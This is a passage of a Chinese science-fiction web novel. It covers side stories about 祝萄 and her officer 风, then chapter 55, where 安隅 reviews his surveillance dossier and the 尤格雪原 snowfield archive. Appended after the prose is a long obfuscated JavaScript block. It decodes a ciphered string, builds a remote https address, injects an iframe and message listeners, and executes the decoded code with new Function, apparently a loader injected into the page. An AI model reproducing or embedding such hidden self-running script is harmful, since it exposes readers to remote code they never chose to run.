可我也不知道该向谁反映——尖塔高层人均忙碌,那些神出鬼没的大人难以靠近。
直到某一天,在我惆怅地尝自己的血味时,被路过的风长官发现了。
他可是尖塔3号高层!
那淡淡的扫过来的一眼,让我吓到疯狂脱发……脱叶。
他走过来看着地上飘落的绿叶,平静发问:“没人带你出任务,焦虑吗?”
我不知道该说什么,只能含糊道:“没有窗,我快酸了。”
“嗯?”他应该是没听懂,蹙眉思考了一会,只留下一句“别伤害自己,把血液留给战场。”
那应该只是他无心的一句话。
可不知为什么,那个淡漠却温和的声音一直萦绕在我耳边。
************
【碎雪片】祝萄(3/5)不平等关爱
被风长官监管了,跟着他出了第一次任务。
长官把我保护得很好,但自己却在战斗中受了不轻的伤。
那时,我跟随本能,用叶片轻而易举地就缓解了他的痛苦。
畸种咬过来时,那些柔韧的枝蔓竟能狠狠扯下锋利的爪牙。
葡萄的芬芳被风带去很远,长官回头凝视了我很久。
我参不透那个眼神的含义,只好用枝蔓将大把大把的葡萄叶贴在他的伤口上,贴满一身。
行动报告交上去后,高层们在任务前都会来问一下我有没有空。
长官对此不做评价。
某次高层聚餐,大人们说我是团宠。我很惶恐,觉得自己不配。
但他们说,我平等地关爱着每一个同伴,做团宠是等价回报。
老天!
我更惶恐了,下意识看向长官。
我并不是“平等”地关爱着每一个同伴,享受特供葡萄果实的人应该有数吧!
但他只平静地看着我,片刻后忽然笑了。
尽管他什么也没说,但那双眼眸中温柔的笑意,却让我一直记着。
那是我与长官之间的秘密。
************
【碎雪片】祝萄(4/5)人类死而复兴的理想
以律之理性,律之冷酷,我从未想过他会同意留下种子博物馆。
也未曾想过,顶峰会点头,安隅会主动握住我的手。
那些或熟悉或陌生的植物在风雪中摇曳飞舞。
在那一刻,我突然第一次真切地看到了人类复兴的希望。
不仅是人类复兴,还有人性复兴
——那些已被人类为了生存而逐渐碾入尘埃的东西。
安隅和律比我们先离开了一会。
全世界只剩下林海与我。
不,还有我身后的风声,和……风。
我的长官。
通讯关掉,周围没有别人。
我以为他会让我以后别再任性了,毕竟我这次太过出格。
但他却又一次从身后抱住我,对我说:有我在。
第55章主城·55
安隅想起刚才自己才向后退了半步,典就已经自动退到了最远距离。
他望着典消失的方向,“他能洞察我心里在想什么?”
严希轻轻点头,“这是典目前已知的异能,他可以即时感知身边所有人的思绪。看到他手里那本牛皮书札了吗?那本书已经算是他本体的一部分,他看到的、知道的,只要足够让他在意,都会被那本书记载收纳。”
安隅愕然地迈入电梯,“每天遇到这么多人,不会信息爆炸吗?”
严希笑道:“据他自己说,最初畸变时快被烦死了,但后来渐渐学会了屏蔽路人,只感知较亲近的人。甚至,如果他想,他可以随意屏蔽任何人的心声。”
“掌控。”安隅轻声道:“这项能力已经完全为他所用。”
严希点头,“但到底有没有偷听,只有他自己知道。高层们都很有边界感,没人愿意监管他,上峰干脆让他独立,领导未来所有的非生物畸变者。”
安隅忽然想起一件事,“对了,孤儿院和博物馆里遇到的非生物畸变者都有基因熵异常。”
“确实是。”严希蹙眉,眼眶中发出细微的机械摩擦声,“典出现后,在短短的一个月内又相继出现了不少非生物畸变案例。这其中,只有他有正常人类基因。”他意味深长道:“他是继律和你之后第三个打破基因熵理论的人,而且他的精神稳定性也绝佳,虽然不到你的极端程度,但据检测,他的精神力甚至比律还要稳定。正是这两个特质让上峰决定让他直接成为高层。”
安隅搞不懂基因熵理论,“如果隔着很远的距离,他也能听到别人的心声吗?”
严希一下子笑了,“你和祝萄的思维很像。祝萄以为典在踏入失序区的一瞬间就能听到超畸体心里的声音,准确找到对方的位置。典听说后差点昏过去,他说他只能听到物理意义上身边的人。”
安隅叹了口气,“哦。”
“所以,暂时看不出他的异能有什么用。”严希有些遗憾道:“其实截止到目前,我们拥有的三位非生物畸变守序者中,只有一位的异能有用。”
“三位?”安隅惊讶道:“典,见星,第三个是谁?”
“思思。”严希正色,“两个小时前刚苏醒,已确认人类意志,基因熵19724。畸变方向,蜡烛。”
安隅后背一阵发麻,“那岂不是和……”
“是的,一个珍贵的高天赋治疗系守序者,所有特征均符合你们对陈念的描述。他们是完全同源的畸变。”严希道:“思思愿意加入守序者,但不太好沟通。她要求和此次任务的参与者对话,上峰希望你明天去见她一面。
安隅点头,“好。”
电梯下到一楼,安隅却按下了关门键和负一层,“听说地下有大脑的档案室。”
严希有些惊讶,“是的,您要看什么资料?”
“2122年的尤格雪原。”
严希闻言面露犹豫,“尤格雪原的可公开档案与网络资料差不多,其他细节属于高级机密,需要上面审批。”
安隅点开终端,上面亮着一个绿色的“S级机密批准”电子签章,签署者秦知律。
严希对着签章下跳动的分秒数愣了好一会儿,“这是最高权限。您才和律一起出过两个任务,他竟然已经这么信任您。”
安隅没吭声。来大脑的路上,长官主动在系统里为他注册了情报权限,并把自己的孤儿院任务战报同步了一份给他。那份战报只字未提019号收容人员,也完全抹去了当年发生在安隅身上的时间异常事件。
在他看来,这是长官非常明确的指示。
“情报库的检索系统很复杂,得花点时间才能调出想要的资料。”严希走出电梯,替他拦住电梯门,“您要查询什么?”
安隅跟着他踏入那排排列列的计算机矩阵中,“我要看第一场特级风雪降临时,尤格雪原全部暴露人员档案。以及……”
他顿了顿,“大脑目前掌控的,我的全部资料。”
尤格雪原是特级机密,即便有秦知律签章,在调出之前也需要完成几十份协议签署。在严希替安隅处理那些流程时,安隅先浏览了自己的档案。
档案由两部分组成,第一部分抽调于孤儿院和53区信息库,里面机械地记录着在他进入主城前的身体检查和物资申领记录。主城对低贱的饵城孤儿十分冷漠,整整十八年的资料千篇一律,安隅只花两分钟就拉到了底端,社会关系那一栏甚至空着,就连凌秋都没能拥有姓名。
进入主城后,资料量瞬间爆炸,光是最初的基因诱导试验和精神性格评估就有上万页。此外,在他参与的三个任务中,虽然他递交的战报敷衍了事,但研究员却写了几千页的解读批注——大脑从所有队员的战报和记录仪影像中,全方位分析他的每一个言行举止、细微表情,并从中推测他的人格变化、情绪感受、能力成长轨迹。
就连面包店都有专属文件,每一天的经营业绩和顾客资料都被记载。有几个可怜的客人,就因为和店员打听了几句老板的背景,就被上面列为“危险分子”重点关注,其中就有那个做程序员还兼职面包黄牛的年轻的老头子。
安隅看得眼睛发直,一时不知道是该感动还是感到惊悚。
其实他只是想确认上面不知道当年的时间异常而已。
社会关系一栏中收录了所有与他有过接触的人,他很新奇地发现,秦知律被上面定义为他的“权威者”、“恐惧来源”和“安全感来源”,在几小时前,又刚刚被添加了两个“探知欲”、“主动关怀”的高重要度标签。
祝萄被认为是他最亲密和令他放松的朋友,其次是比利。宁、搏、熙德等人都是“信任”与“友善”,安则独有一个“需要/讨好”的标签。蒋枭的标签量快要赶上秦知律了,在不同的阶段,先后被打了“排斥/恐惧”、“困扰/厌烦”、“感知变态”、“些许感动”、“微弱支配欲”的标签。
安隅对着那些花花绿绿的标签陷入沉思,看到【爱好】那一栏中写着“凌秋相关、粗麦面包、钱、自残、狭小角落、《超畸幼儿园》、兔子、章鱼抱枕、教堂、不知所云的诗歌、特大商业烤炉、礼貌敬语、幽禁他人、精神操控、扮演柔弱、白色廉价服装、长官的风衣、蜂蜜燕麦能量棒……”之后,彻底陷入迷惑。
“那个……”安隅迟疑道:“严希,我可以编辑一下吗?”
太荒谬了。
“您说什么?抱歉,我刚才在签署最后一份协议,没有听清。”严希从屏幕前抬起头,“尤格雪原资料调取成功。根据规定,我会暂时离开这个房间,房间中的摄像头将关闭,系统会暂时封锁您终端的拍照功能,请知悉。”
“噢。”安隅只好按捺下修改这份文档的冲动,“谢谢。”
严希离开后,大屏幕弹出了尤格雪原的资料。
由于那是一起突发事件,影像资料极少,只有三张模糊的照片,拍摄者是当时在雪原上写生的秦知律母亲唐如。
第一张照片,雪片降至半空,穹盖仿佛被压低了,人站在雪原上似乎抬一抬手就能触及天空。
第二张照片,特级风雪几乎已经把镜头糊住,朦胧中,天空呈现出一种绚丽难辨的神秘色彩。空旷的苍穹让人观感不适,好像在那诡秘的色彩背后正有一双巨眼在注视。
第三张照片,诡秘的色彩消失了,天际出现一道炫目的红光,红光的另一边横贯着一道巨大的人形剪影,周围笼罩着金色光晕。
那道人形剪影,安隅曾在意识中不止一次地触碰过。
金眸沉静下来,凝神阅读着屏幕上滚过的记载。
尤格雪原是那场特级风雪的初次降临地点,牵扯人员有当日数百名游客及附近居民,暴露等级最高的是两个人——作家唐如和她的朋友詹雪。詹雪是一位科学家,陪同好友去写生,顺便完成自己的科研考察。她们当时刚好身处最高海拔处,并且都怀有身孕。
安隅点开詹雪的资料,屏幕上弹出两张照片。
一张是穿着研究服的年轻女性,戴着博士帽站在图书馆里,手拿着一本书,笑容羞涩。另一张则是她的背影——脊柱畸形地隆起,整个后背长满团团簇簇的透明球囊,球囊里拥挤着大得恐怖的眼睛。
【詹雪】
科学家,混血,无在世亲人,有多名关系不稳定的亲密异性。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();